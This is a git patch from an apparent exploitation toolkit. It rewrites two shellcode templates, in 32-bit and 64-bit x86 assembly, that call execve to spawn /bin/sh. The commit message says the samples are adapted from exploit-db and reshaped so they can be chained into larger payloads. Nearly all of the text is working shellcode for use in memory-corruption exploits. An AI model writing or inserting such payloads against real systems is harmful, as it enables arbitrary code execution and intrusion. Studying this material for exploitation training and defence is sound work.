From f21e743212f02dbfb560fa74d983a7e156722d11 Mon Sep 17 00:00:00 2001 From: Malfurious Date: Sun, 15 Jan 2023 08:06:42 -0500 Subject: shellcode: Update /bin/sh shellcodes The shell-spawning shellcodes are rewritten to address the following concerns: - The array parameters to execve are now set properly, to valid arrays on the stack, instead of NULL pointers. - The cdq instruction is no longer used to sign-extend the rax register, since it has not been producing the expected results in gdb. - Labels, sections, and other file metadata are removed in order to support concatenation of shellcode samples to make more complex code. Signed-off-by: Malfurious --- templates/shellcode/examples/shell32.asm | 29 ++++++++++++------------- templates/shellcode/examples/shell64.asm | 36 +++++++++++++++++++------------- 2 files changed, 37 insertions(+), 28 deletions(-) diff --git a/templates/shellcode/examples/shell32.asm b/templates/shellcode/examples/shell32.asm index 5ff2e12..6238469 100644 --- a/templates/shellcode/examples/shell32.asm +++ b/templates/shellcode/examples/shell32.asm @@ -1,15 +1,16 @@ -[SECTION .text] -global _start +; Originally based on https://www.exploit-db.com/shellcodes/46809 +; See shell64.asm for more details. -; https://www.exploit-db.com/shellcodes/46809 - -_start: - xor ecx, ecx - xor edx, edx - push 0xb - pop eax - push ecx - push 0x68732f2f - push 0x6e69622f - mov ebx, esp - int 0x80 +; execve("/bin/sh", ["/bin/sh"], []) +xor eax, eax +xor ecx, ecx +push ecx +push 0x68732f2f +push 0x6e69622f +mov ebx, esp +push ecx +mov edx, esp +push ebx +mov ecx, esp +mov al, 11 +int 0x80 diff --git a/templates/shellcode/examples/shell64.asm b/templates/shellcode/examples/shell64.asm index 2353b6f..3812c33 100644 --- a/templates/shellcode/examples/shell64.asm +++ b/templates/shellcode/examples/shell64.asm @@ -1,16 +1,24 @@ -[SECTION .text] -global _start +; Originally based on https://www.exploit-db.com/shellcodes/47008 -; https://www.exploit-db.com/shellcodes/47008 +; stack layout +; +; ┏━━━━━━━━━━━━━━┓ +; ┃ v +; [ argv0, NULL ] "/bin//sh" NULL +; ^ ^ ^ +; ┃ ┃ ┃ +; argv envp filename -_start: - xor rsi, rsi - xor rdx, rdx - push rsi - mov rdi, 0x68732f2f6e69622f - push rdi - push rsp - pop rdi - mov al, 0x3b - cdq - syscall +; execve("/bin/sh", ["/bin/sh"], []) +xor rax, rax +xor rsi, rsi +mov rdi, 0x68732f2f6e69622f +push rsi +push rdi +mov rdi, rsp +push rsi +mov rdx, rsp +push rdi +mov rsi, rsp +mov al, 59 +syscall -- cgit v1.2.3